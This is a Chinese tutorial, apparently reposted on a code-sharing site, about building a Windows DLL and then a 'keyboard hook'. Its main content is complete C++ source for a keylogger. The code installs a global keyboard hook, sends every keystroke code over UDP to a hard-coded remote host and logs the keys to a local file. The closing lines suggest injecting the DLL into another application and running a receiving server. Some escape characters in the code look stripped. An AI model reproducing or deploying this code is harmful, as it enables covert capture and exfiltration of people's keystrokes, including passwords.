概述
Part 1
需要实现键盘钩子,首先需要在windows下实现dll程序的编写。
打开vs -> 新建项目 -> win32项目 -> dll。
这里以实现一个加法函数为例:
然后生成解决方案即可。
Part 2
调用dll中的函数,这里以建立一个win32控制台项目来调用dll,且将调用函数的程序变为以.cpp结尾的文件名。
首先为dll中的函数建立一个头文件。
在调用程序中导入dll的静态库,以及包含我们建立的头文件。
将lib文件放在调用工程的源文件目录下,然后生成解决方案。
执行调用程序,将dll文件与调用程序放在同一目录下,执行即可。
Part 3
键盘钩子DLL的源代码,将每一个按键操作的虚拟键码发送给远程主机,采用了UDP的传输协议。
hookdll.project
hookdll.cpp
// hookdll.cpp : 定义 DLL 应用程序的导出函数。
#include "stdafx.h"
#include "pub.h"
#include<stdio.h>
HHOOK Hook;
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam);
void strerror(DWORD errno);
void savelog(const char *s);
void send_udp(const char *s);
extern HMODULE hHookDll;
__declspec(dllexport) void WINAPI UnInstallLaunchEv()
{
UnhookWindowsHookEx(Hook);
}
__declspec(dllexport) void WINAPI InstallLaunchEv()
{
//得到dll的模块
//HMODULE hHookDll = LoadLibrary("hookdll");
//为系统安装键盘钩子
Hook = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC)LauncherHook, hHookDll, 0);
if (Hook == NULL)
{
//记录失败信息
strerror(GetLastError());
}
}
LRESULT CALLBACK LauncherHook(int nCode, WPARAM wParam, LPARAM lParam)
{
LRESULT Result = CallNextHookEx(Hook, nCode, wParam, lParam);
if (nCode == HC_ACTION)
{
char buf[100];
memset(buf, 0, sizeof(buf));
//参数wParam为键盘扫描码
sprintf_s(buf, "%u", wParam);
//向远程主机发送udp消息
send_udp(buf);
memset(buf, 0, sizeof(buf));
sprintf_s(buf, "%xt%ct%08xn", wParam, wParam, lParam);
savelog(buf);
}
return Result;
}
void send_udp(const char *s)
{
init_socket();
SOCKET st = create_send_socket();
send_work(st, "192.168.1.109", 8080, s);
close_socket(st);
}
void savelog(const char *s)
{
FILE *p;
fopen_s(&p,"D:\my.log", "a+");
fputs(s, p);
fclose(p);
}
void strerror(DWORD errno)
{
void *lpMsgBuf;
FormatMessageA(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
errno,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(char *)&lpMsgBuf,
0,
NULL
);
savelog((const char *)lpMsgBuf);
//free the buf
LocalFree(lpMsgBuf);
}
dllmain.cpp
// dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "stdafx.h"
//定义一个全局的HMODULE句柄供SetWindowHookEx函数使用
HMODULE hHookDll;
BOOL APIENTRY DllMain( HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
hHookDll = hModule;
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
pub.h
#pragma once
#include<winsock2.h>
#ifdef __CPLUSPLUS
extern "C" {
#endif
int init_socket();
void close_socket(SOCKET st);
SOCKET create_send_socket();
int send_work(SOCKET st,const char *hostname, int port, const char *s);
#ifdef __CPLUSPLUS
}
#endif
pub.cpp
#include "stdafx.h"
#include<stdio.h>
#include"pub.h"
#pragma comment(lib,"Ws2_32.lib")
int init_socket()
{
WORD wVersionRequested;
WSADATA wsaData;
int err;
wVersionRequested = MAKEWORD(1, 1);
err = WSAStartup(wVersionRequested, &wsaData);
if (err != 0)
return -1;
if (LOBYTE(wsaData.wVersion) != 1 || HIBYTE(wsaData.wVersion) != 1)
{
WSACleanup();
return -1;
}
return 0;
}
void close_socket(SOCKET st)
{
closesocket(st);
WSACleanup();
}
SOCKET create_send_socket()
{
SOCKET st = socket(AF_INET, SOCK_DGRAM, 0);
if (st == 0)
return 0;
return st;
}
int send_work(SOCKET st, const char *hostname, int port, const char *s)
{
struct sockaddr_in addr;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(hostname);
size_t rc = sendto(st, s, strlen(s), 0, (struct sockaddr *)&addr, sizeof(addr));
return rc;
}
然后只需要一个程序将安装钩子InstallLaunchEv和卸载钩子UnInstallLaunchEv函数调用起来即可,当然也可以通过dll注入的方式将其注入到一个应用程序之中,然后写一个UDP接收服务端即可。
最后
以上就是醉熏方盒为你收集整理的键盘钩子的实现的全部内容,希望文章能够帮你解决键盘钩子的实现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
发表评论 取消回复